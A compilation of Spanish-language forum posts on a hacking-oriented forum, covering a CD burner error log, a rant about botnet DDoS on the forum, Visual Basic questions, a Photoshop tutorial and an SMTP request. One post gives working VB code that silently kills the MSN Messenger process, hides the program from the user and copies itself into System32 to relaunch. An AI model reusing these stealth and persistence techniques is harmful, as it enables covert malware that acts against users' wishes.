Temas

[Datos:]

Datos:
Lectora/Grabadora de DVDs/CDs: AOpen DUW1616/ARR
Programas usados: Nero 6.3.1.26 , Easy DVD Shrink 3.0.17 , Easy CD Creator.

------

Cuando intento grabar un CD/DVD siempre obtengo el error (Al cambiar la velocidad tambien):

El proceso de grabación ha fallado a 48x (7.200 KB/s)

*Al final adjunto el log completo del Nero.

El problema es que mi grabadora tiene un maximo de 8x y ningun software reconoce esa velocidad como maxima ni minima, reconocen velocidades minimas de 16x para arriba.

Actualice el Firmware de mi grabadora, probe distintos programas, con CD o DVD y no pude grabar, siempre lo mismo.
Hace un año la tengo y siempre funciono perfecto, hace un tiempo largo no la uso y ahora me pasa esto.

Saludos.

Log completo del Nero:

Windows XP 5.1
IA32
WinAspi: File 'Wnaspi32.dll': Ver=4.60 (1021), size=45056 bytes, created 10/09/1999 12:06:00
ahead WinASPI: File 'J:\Archivos de programa\Ahead\nero\Wnaspi32.dll': Ver=2.0.1.68, size=160016 bytes, created 22/07/2004 16:33:44
Versión de Nero: 6.3.1.26 (Nero Express)
Grabador:             <AOPEN DUW1616/ARR>       Versión: 1030 - HA 0 TA 1 - 6.3.1.26
Controlador de adaptador:<atapi>               HA 0
Drive buffer  :      2048kB
Bus Type      :      via Inquiry data (1) -> ATAPI, detected: ATAPI
Connected to MMC as unknown drive with class-nr : 1
Drive is autodetected - recorder class: Std. MMC recorder
CD-ROM:               <LITEON   CD-ROM LTN525   >Versión: KL17 - HA 1 TA 0 - 6.3.1.26
Controlador de adaptador:<atapi>               HA 1

=== Scsi-Device-Map ===
DiskPeripheral       : SAMSUNG SP1203N                  atapi Port 0 ID 0  DMA: On
CdRomPeripheral      : AOPEN DUW1616/ARR                atapi Port 0 ID 1  DMA: On
CdRomPeripheral      : LITEON CD-ROM LTN525             atapi Port 1 ID 0  DMA: On

=== CDRom-Device-Map ===
AOPEN DUW1616/ARR          D:   CDRom0
LITEON CD-ROM LTN525       E:   CDRom1
=======================

AutoRun : 1
Excluded drive IDs:
WriteBufferSize: 74448896 (0) Byte
ShowDrvBufStat : 0
BUFE           : 0
Physical memory     : 510MB (522672kB)
Free physical memory: 234MB (239904kB)
Memory in use       : 54 %
Uncached PFiles: 0x0
Use Static Write Speed Table: 0
Use Inquiry    : 1
Global Bus Type: default (0)
Check supported media : Disabled (0)

27.3.2007
CD-ROM (ISO)
9:12:12   #1 Text 0 File Isodoc.cpp, Line 6083
   Iso document burn settings
   ------------------------------------------
   Determine maximum speed : FALSE
   Simulate                : FALSE
   Write                   : TRUE
   Finalize CD             : FALSE
   Multisession            : TRUE
   Multisession type:      : Start multisession
   Burning mode            : TAO
   Mode                    : 1
   ISO Level               : 1 (Max. of 11 = 8 + 3 char)
   Character set           : ISO 9660
   Joliet                  : TRUE
   Allow pathdepth more than 8 directories : TRUE
   Allow more than 255 characters in path  : TRUE
   Write ISO9660 ;1 file extensions        : TRUE
   
9:12:12   #2 Phase 75 File dlgbrnst.cpp, Line 1855
   JustLink activado
   
9:12:12   #3 Text 0 File Reader.cpp, Line 126
   Reader running
   
9:12:12   #4 Text 0 File Writer.cpp, Line 124
   Writer AOPEN    DUW1616/ARR      running
   
9:12:12   #5 ISO9660GEN -11 File geniso.cpp, Line 3899
   First writeable address = 0 (0x00000000)
   
9:12:12   #6 Text 0 File Burncd.cpp, Line 3152
   Turn on Track-at-once, using CD-R/RW media
   
9:12:13   #7 Text 0 File DlgWaitCD.cpp, Line 247
   Last possible write address on media:   359848 ( 79:59.73)
   Last address to be written:                599 (  0:09.74)
   
9:12:13   #8 Text 0 File DlgWaitCD.cpp, Line 259
   Write in overburning mode: NO (enabled: CD)
   
9:12:13   #9 Text 0 File DlgWaitCD.cpp, Line 2162
   Recorder: AOPEN DUW1616/ARR;
      CDR code: 00 97 27 18; OSJ entry from: Plasmon Data systems Ltd.
      ATIP Data:
        Special    Info [hex] 1: D0 00 A0, 2: 61 1B 12 (LI 97:27.18), 3: 4F 3B 4A (LO 79:59.74)
        Additional Info [hex] 1: 00 00 80 (invalid), 2: 00 00 00 (invalid), 3: 00 00 00 (invalid)
   
9:12:13   #10 Text 0 File DlgWaitCD.cpp, Line 420
   >>> Protocol of DlgWaitCD activities: <<<
   =========================================
   
9:12:14   #11 Text 0 File ThreadedTransferInterface.cpp, Line 813
   Setup items (after recorder preparation)
    0: TRM_DATA_MODE1 (CTransferItem)
       2 indices, index0 (150) not provided
       original disc pos #0 + 600 (600) = #600/0:8.0
       relocatable, disc pos for caching/writing not required/required, no patch infos
       -> TRM_DATA_MODE1, 2048, config 0, wanted index0 0 blocks, length 598 blocks [AOPEN    DUW1616/ARR     ]
   --------------------------------------------------------------
   
9:12:17   #12 Text 0 File ThreadedTransferInterface.cpp, Line 984
   Prepare recorder [AOPEN    DUW1616/ARR     ] for write in TAO
   DAO infos:
   ==========
    MCN: ""
    TOCType: 0x00; Session Closed, disc not fixated
    Tracks 1 to 1:
      1: TRM_DATA_MODE1, 2048/0x00, FilePos             0        307200       1536000, ISRC ""
   DAO layout:
   ===========
    __Start_|____Track_|_Idx_|_RecDep_|_CtrlAdr_
       -150 |  lead-in |   0 |   0x00 |  0x41
       -150 |        1 |   0 |   0x00 |  0x41
          0 |        1 |   1 |   0x00 |  0x41
        600 | lead-out |   1 |   0x00 |  0x41
   
9:12:17   #13 Text 0 File ThreadedTransferInterface.cpp, Line 1030
   Removed 2 run-out blocks from end of track 1. Length: 600 -> 598.
   
9:12:17   #14 Phase 24 File dlgbrnst.cpp, Line 1855
   Inicio del caché de archivos
   
9:12:17   #15 Text 0 File Burncd.cpp, Line 4163
   Cache writing successful.
   
9:12:17   #16 Phase 25 File dlgbrnst.cpp, Line 1855
   Caché de archivos terminado
   
9:12:17   #17 Phase 36 File dlgbrnst.cpp, Line 1855
   Inicio del proceso de grabación a 48x (7.200 KB/s)
   
9:12:17   #18 Phase 92 File dlgbrnst.cpp, Line 1855
   Si no se usa la opción JustSpeed, la calidad de grabación puede verse afectada
   
9:12:17   #19 Text 0 File ThreadedTransferInterface.cpp, Line 2344
   Verifying disc position of item 0 (relocatable, disc pos, no patch infos, orig at #0): write at #0
   
9:12:17   #20 Text 0 File Mmc.cpp, Line 20688
   Set BUFE: JustLink -> ON , JustSpeed : OFF
   
9:12:17   #21 SCSI -1047 File Cdrdrv.cpp, Line 1445
   SCSI Exec, HA 0, TA 1, LUN 0, buffer 0x0A5C0000
   Status:     0x04 (0x01, SCSI_ERR)
   HA-Status   0x00 (0x00, OK)
   TA-Status   0x02 (0x01, SCSI_TASTATUS_CHKCOND)
   Sense Key:  0x05 (KEY_ILLEGAL_REQUEST)
   Sense Code: 0x64
   Sense Qual: 0x08
   CDB Data:   0x2A 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x20 0x00 0x00 0x00
   Sense Data: 0x70 0x00 0x05 0x00 0x00 0x00 0x00 0x0E
               0x00 0x00 0x00 0x00 0x64 0x08
   
9:12:17   #22 CDR -1047 File Writer.cpp, Line 304
   Modo incorrecto para esta pista
   
9:12:17   #23 Text 0 File ThreadedTransfer.cpp, Line 229
   all writers idle, stopping conversion
   
9:12:17   #24 CDR -201 File WriterStatus.cpp, Line 196
   Writestate incorrecto.
   AOPEN DUW1616/ARR\H0 T1
   
9:12:17   #25 TRANSFER -18 File WriterStatus.cpp, Line 196
   No se ha podido realizar EndTrack.
   
9:12:17   #26 Text 0 File Mmc.cpp, Line 15508
   <AOPEN   DUW1616/ARR     > start Close Session
   
9:12:17   #27 SCSI -1176 File Cdrdrv.cpp, Line 1191
   SCSI Exec, HA 0, TA 1, LUN 0
   Status:     0x04 (0x01, SCSI_ERR)
   HA-Status   0x00 (0x00, OK)
   TA-Status   0x02 (0x01, SCSI_TASTATUS_CHKCOND)
   Sense Key:  0x05 (KEY_ILLEGAL_REQUEST)
   Sense Code: 0x72
   Sense Qual: 0x03
   CDB Data:   0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
   Sense Data: 0x71 0x00 0x05 0x00 0x00 0x00 0x00 0x0E
               0x00 0x00 0x00 0x00 0x72 0x03
   
9:12:17   #28 CDR -1176 File WriterStatus.cpp, Line 245
   Error de fijación de la sesión
   
9:12:17   #29 TRANSFER -19 File WriterStatus.cpp, Line 245
   No se ha podido realizar Fixation.
   
9:12:17   #30 Text 0 File WriterStatus.cpp, Line 254
   falling back to disc fixation
   
9:12:17   #31 Text 0 File Mmc.cpp, Line 15508
   <AOPEN   DUW1616/ARR     > start Close Session
   
9:12:17   #32 SCSI -1176 File Cdrdrv.cpp, Line 1191
   SCSI Exec, HA 0, TA 1, LUN 0
   Status:     0x04 (0x01, SCSI_ERR)
   HA-Status   0x00 (0x00, OK)
   TA-Status   0x02 (0x01, SCSI_TASTATUS_CHKCOND)
   Sense Key:  0x05 (KEY_ILLEGAL_REQUEST)
   Sense Code: 0x72
   Sense Qual: 0x03
   CDB Data:   0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
   Sense Data: 0x71 0x00 0x05 0x00 0x00 0x00 0x00 0x0E
               0x00 0x00 0x00 0x00 0x72 0x03
   
9:12:17   #33 CDR -1176 File WriterStatus.cpp, Line 245
   Error de fijación de la sesión
   
9:12:17   #34 TRANSFER -19 File WriterStatus.cpp, Line 245
   No se ha podido realizar Fixation.
   
9:12:17   #35 Text 0 File dlgbrnst.cpp, Line 1713
   Set remaining time: 0:00,000 (0ms) -> OK
   
9:12:17   #36 Phase 38 File dlgbrnst.cpp, Line 1855
   El proceso de grabación ha fallado a 48x (7.200 KB/s)
   

Existing drivers:
File 'Drivers\CDRALW2K.SYS': Ver=8.0.0.212 , size=2560 bytes, created 04/10/2006 23:42:42
File 'Drivers\ASPI32.SYS': Ver=4.60 (1021), size=25244 bytes, created 10/09/1999 12:06:00
File 'Drivers\PXHELP20.SYS': Ver=3.00.41a, size=36560 bytes, created 27/09/2006 18:53:22 (Prassi/Veritas driver for win 2K)
File 'Drivers\atapi.sys': Ver=5.1.2600.2180 (xpsp_sp2_rtm.040803-2158), size=95360 bytes, created 03/08/2004 17:59:44 (Adapter driver for rec)

Registry Keys:
HKLM\Software\Microsoft\Windows NT\CurrentVersion\WinLogon\AllocateCDROMs : 0 (Security Option)

[Asi de sencillo.]

Asi de sencillo.

Deje de entrar al foro durante meses porque me harto al igual que a todos esperar 3 min la trasferencia de 70 Kb con mi conexión de 5.1 Mb/s y cuendo vuelvo me encuentro esta linda situación.

Todos los usuarios activos de este foro con dos dedos de frente sabemos el porque, quien y como.
Sabemos quien trata de evitar ser redireccionado por los motores de busqueda, quien bloquea las busquedas de su web y trata de no nombrar a elhacker.net pero todos esperan que el-brujo y Sirdarckcat hagan milagros solos.

Claro que despues de dos horas de trabajo de ellos el foro funciona mejor, pero no esta vivo de nuevo, simplemente todavia respira.



sencillo:

- El foro deja de funcionar entre las horas pico de -6 y -3 GTM.

Asi es, cuando la mayoria de las pc de habla hispana estan conectadas a la red.


- Funciona en las horas de menos transito de habla hispana.

Porque la mayoria de los ordenadores no estan conectados a la red, no por que el-brujo fue iluminado por un milagro.


-¿Porque es asi?

Porque se estan usando worms/malwares/botnets para hacer DDoS al server


-¿A que refiere esto?

Que muchos de los que estan leyendo este post son los culpables, gracias a que estas conectado a internet estas saturando el server del foro por estar infectados con worms/malwares/botnets muy bonitos especialmente traidos a la vida para nosotros.


-¿Y que **** quiere decir esto?

Que los DDoS no provienen de ninguna web infernal ni un server fantasmal, sino de la pc de usuarios comunes


-¿Y porque **** tardaste en cargar esta pagina 5 minutos?

Porque nunca se te ocurrio desinfectar tu pc desde que el señor tecnico te hizo pagar 20 dolares o no estas enterado de tu residente



Esta burda hironia seguramente el 90% no la va a leer, el 8% no la va a responder, el 1% va a opinar y con suerte el 1% restante (que son muchos) tenga ganas de hacer algo mas que seguir intentando entrar al foro durante 30 min y esperar a que se arregle.


Se pueden hacer varias cosas ademas de esperar que se solucione por obra del Señor:

- Con una simple campaña para que los usuarios que entran al foro se desinfecten de malwares de seguro el foro funcionaria al menos un 30% mejor.

- Con un poco mas de esfuerzo si se logra identificar el/los malwares sensillamente se podria tratar de comer (Tal cual se hacia en el viejo Pacman) el/los malwares bajo el mismo codigo de etica que se uso al crearlo.

- Sin contar las inumerables ideas que seguramente van a tener todos mientras esperan a que el foro cargue sus 50 req...


Si tan solo 5 rezagados tienen la intencion, simplemente, basta y sobra.

Me voy porque dentro de un rato el foro ya se muere.

Saludos.

[tubo del telefono]

Buenas.

Lo que quiero hacer es lo siguiente:

Conectar el tubo del telefono a la pc para usarlo como Microfono y Audifono.

Tambien podria ser conectar aparato telefonico al la pc para usarlo del mismo modo, el problema es que no se como controlarlo (para que suene y demas, imagino simplemente que al tener un impulso electronico de llamada entrante como audio suena, nose)

Para que uso:

Quiero usar el tubo telefonico para hablar por SkyPe/GTalk sin nececidad de tener el microfono y audifonos puestos.

-----------------

Sinceramente quiero preguntar a ver si alguno sabe o tiene alguna idea antes de desarmar el tubo telefonico y "empalmar" todo, jeje.

Saludos.

[Buscar proceso y Matarlo:]

Buscar proceso y Matarlo:

Primero las funciones para buscar un proceso cada X milisegundos y si existe obtener el PID y Matarlo

Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function ProcessFirst Lib "kernel32" Alias "Process32First" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Function ProcessNext Lib "kernel32" Alias "Process32Next" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, lProcessID As Long) As Long
Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long
Private Declare Function Process32First Lib "kernel32" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Function Process32Next Lib "kernel32" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Const PROCESS_TERMINATE As Long = &H1
Private Processes(150) As Long
Private Type PROCESSENTRY32
    dwSize As Long
    cntUsage As Long
    th32ProcessID As Long
    th32DefaultHeapID As Long
    th32ModuleID As Long
    cntThreads As Long
    th32ParentProcessID As Long
    pcPriClassBase As Long
    dwFlags As Long
    szexeFile As String * 260
End Type
Dim ProcesoXPID As String

'Busca una cadena (Nombre del ejecutable) para saber si esta en ejecucion.
Function BuscarProcesoX(ProcesoX As String) As String
Dim uProcess As PROCESSENTRY32
Dim rProcessFound As Long
Dim hSnapshot As Long
Dim szProcesoX As String
Dim myProcess As Long
Dim i As Integer
On Error Resume Next
    Const TH32CS_SNAPPROCESS As Long = 2&
    BuscarProcesoX = False
    uProcess.dwSize = Len(uProcess)
    hSnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0&)
    rProcessFound = ProcessFirst(hSnapshot, uProcess)
    Do While rProcessFound

        i = InStr(1, uProcess.szexeFile, Chr(0))
        szProcesoX = LCase$(Left$(uProcess.szexeFile, i - 1))
            If Right$(szProcesoX, Len(ProcesoX)) = LCase$(ProcesoX) Then
            BuscarProcesoX = True
           
            Call CloseHandle(myProcess)
            ProcesoXPID = uProcess.th32ProcessID
            End If
        rProcessFound = ProcessNext(hSnapshot, uProcess)
    Loop
    Call CloseHandle(hSnapshot)
End Function

'Mata el proceso pasandole el PID
Function TerminarProcesoX(ProcesoX As String)
Dim ProcHandle As Long
  ProcHandle = OpenProcess(PROCESS_TERMINATE, False, CLng(ProcesoX))
  TerminateProcess ProcHandle, 0
  CloseHandle ProcHandle
End Function

'Busca el proceso, si existe, lo mata
Private Sub Timer1_Timer()
If BuscarProcesoX("msnmsgr.exe") = True Then
TerminarProcesoX ProcesoXPID
End If
End Sub

Dejar no visible nuestra aplicacion

Que el usuario no pueda verla

Appearance = 0-Flat
Caption = ""
ClipControls = False
ControlBox = False
Enabled = False
Hight = 1
MaxButton = False
MinButton = False
Moveable = False
NavigateMenus = False
ShowInTaskBar = False
Visible = False
Width = 1
Top = -9999
Left = -9999

Cipiarce en System32, registro, ocultarce del TaskManager y hacer proceso "inmortal"

Como no voy a hacer apologia a la programacion de virus no voy a mostrar ningun tipo de codigo en el foro publico sobre estas funciones.

Copiarce en sustem32 es tan facil como:

If app.path <> Get_System32Dir then
Copy app.path & "\MyName.exe", Get_System32Dir & "\MyName.exe"
Shell Get_System32Dir & "\MyName.exe"
Unload Me
End if

Function Get_System32Dir()
'A tu imaginacion
End Function

Cipiarce en el registro:

Alguna vez he dejado alguna funcion por ahi que sensillamente al ejecutarce y terminar llama a la funcion asignandole el valor de la cadena del registro, usando modulo, no Objetos.

Para ocultarce del TaskManager:

Deje un modulo por el foro hace poco

Para hacer proceso "inmortal":
Usen su imaginacion

*Ninguna funcion de infeccion, ni hook,ni packer ni nada parecido, es inecesario.

[- Creo yo que si me tomo el trabajo de responder correctamente a las preguntas del foro si son borradas los moderadores tendrian que tomarce el trabajo de simplemente mediante un mensaje personal decirme el porque, ya que evidentemente si falto a las reglas no me percato de eso.- Y bien si simplemente las respuestas no se estan posteando bien ultimamente me gustaria saberlo.]

Buenas

Ultimamente el foro no anda a la perfeccion, y a veces los mensajes que se responden no se postean correctamente, por eso pongo el mensaje en Dudas Generales.

Respondo a todas las preguntas tecnicas a las que nadie responde, pero noto que mis respuestas o bien son borradas o no se postean.

- Creo yo que si me tomo el trabajo de responder correctamente a las preguntas del foro si son borradas los moderadores tendrian que tomarce el trabajo de simplemente mediante un mensaje personal decirme el porque, ya que evidentemente si falto a las reglas no me percato de eso.

- Y bien si simplemente las respuestas no se estan posteando bien ultimamente me gustaria saberlo.


Mi mensaje no es una queja, es simplemente para no tomarme el trabajo de responder si no son bienvenidas mis respuestas, ya que no tengo idea que digo de malo, ¿No se puede dar datos tecnicos de como saltear la seguridad?, ¿De como funcionan las cosas?,¿Dar links directos de codigos fuente?.

Cuando preguntan "sigilosamente" como hacer cosas ilegales no borran los mensajes, pero aparentemente si borran cuando yo respondo tecnicamente como hacerlo.

Si se prefiere no dar datos precisos, simplemente diganlo, ya que no tengo problema en dejar de hacerlo si esa es la razon.

Y reitero, se que en los foros publicos no se puede dar cierta informacion, por eso no es una queja, diagamos que si me responden me ahorran trabajo nada mas.

Saludos

[¿Alguno tiene la funcion de DbExecuteLine en codigo o se le ocurre alguna manera de ejecutar una funcion/linea desde una String o Variable sin usar Librerias ni VBScript?]

Buenas
Quiero almacenar en una String una Funcion completa o al menos lineas de una Funcion para luego ejecutarlas.

El caso es que no quiero usar DbExecuteLine de la libreria vba6.dll ni de ninguna y tampoco quiero hacerlo mediante VBScript Objects.

Trate de encontrar la funcion en codigo de la libreria vba6.dll EbExecuteLine pero no la encontre y se me es imposible reproducirla ya que no se como hacerla.

¿Alguno tiene la funcion de DbExecuteLine en codigo o se le ocurre alguna manera de ejecutar una funcion/linea desde una String o Variable sin usar Librerias ni VBScript?

Muchas Gracias.

[Nose como hacer para designarme mi propio espacio en memoria y cargar solo que que quiero cuando es necesario y borrarlo cuando no.]

Buenas
Quiero usar lo menos posible de memoria en un programa que estoy haciendo en visual basic.
Al abrir un archivo en Binario por ejemplo se suma a la memoria asignada el peso de ese archivo y simplemente lo descargo y borro asignandole "" nada a el buffer.

Ahora bien, tengo un programa ya compilado con sus funciones y controles que no ejecuta NINGUNA rutina ni funcion, solo se abre, pero que pasa, igualmente carga todo en memoria y ocupa mucho espacio inutilmente, como puedo solucionar este problema?

estuve experimentando con GlbalAlloc, GlobalFree y hasta intente cargar a VirtualAlloc y borrando con VirtualFree pero no consigo resultados.

Nose como hacer para designarme mi propio espacio en memoria y cargar solo que que quiero cuando es necesario y borrarlo cuando no.(variables, constantes, controles y demas)

Lei los manuales que he encontrado aca y me sirvieron pero no logro encontrar lo que quiero(En Google lamentablemente hay poco sobre manejo de memoria en vb, pero hay, pero no lo que busco exactamente)

Muchas Gracias, saludos.

Buenas.

Este es un efecto que hice para un degradado de una foto en dibujo.


1-Nos buscamos una linda imagen de una linda nena o lo que sea.



Ahora en un nuevo documento:

3-Duplicamos la Layer que tengamos con la imagen original o retocada y la renombramos como corramos* - (*Efecto1)
Yo retoque el rostro, algunos detalles de la piel del cuerpo y cara y le puse los ojos de mi novia , esto se puede hacer facilmente con Dodge, Burn y Blur Tool's


4-Desaturamos la nueva layer Efecto1 con Shift+Ctrl+U.
Duplicamos ahora la Layer Efecto1 y la renombramos como queremos* (*1)
A la layer 1 le aplicamos Filters>Blur>Smart Blur

E invertimos la Layer con Contrl+I


5-Filter>Blur>Gaussian Blur radio 1 y cambiamos el Blending Mode de la Layer a Hard Light.


6-Ahora volvemos a duplicar la Layer Efecto1, la renombramos como querramos* (*2) y la movemos arriva de todo.
Aplicamos Stylize>Emboss



7-Duplicamos nuevamente la Layer Efecto1 renombrandola* (*3) y la ponemos arriva de todo tambien.
Aplicamos Filters>Blur>Smart Blur

Invertimos la Layer, cambiamos el Blending Mode a Multiply y la opacidad a 35-40%.


8-Duplicamos otra vez la Layer Efecto1 y la movemos arriba de todo y la renombramos 4.
Aplicamos Filter>Styling>Glowing Edges
opacidad a 35-40%.


9-Ahora duplicamos la Layer 4 aplicamos Filter>Blur>Gaussian Blur a 5-6, cambiamos el Blending Mode a Multiply y ponemos otra vez la opacidad a 100%



10-Ahora, duplicamos la Layer original, la ponemos arriva de todo, cambiamos el Blending Mode a Hard Light.
Duplicamos la ultima Layer y le ponemos el Blending Mode a Color.

Con esto terminado precionamos Contrl+Shift+E para juntar todas las Layers sin interferir en el orden ni funcion de los efectos,y ahora:

1-Copiamos la Layer terminada del proceso anterior en un nuevo documento donde el BackGround sea la imagen original.
Aplicamos Filter>Artistic>Colored Pencil



2-Seleccionamos la Lupa (Z) , hacemos click derecho, fit on screen para ver toda la imagen.
Seleccionamos el Lasso Tool (L) y lo usamos para trazar una linea desperfecta atravez de la foto y seleccionando la mitad de la imagen restante.

3-Ahora estando esto seleccionado vamos a Select>Feather (Alt+Contrl+D) y lo aplicamos a 20.
Precionamos la tecla Suprimir para borrar lo seleccionado usando el Feather y listo.



Podemos terminar retocandola con Dodge, Burn y Blur Tool's para eliminar imperfecciones.

Saludos

Buenas, Estoy buscando algun Source Code de un moto SMTP en Visual Basic, tipo "Local SMTP realy Server", encontre muchos en C++ pero no se traducir, si alguno tiene uno por ahi o conoce donde pueda haber en VB se lo agradezco.

Saludos.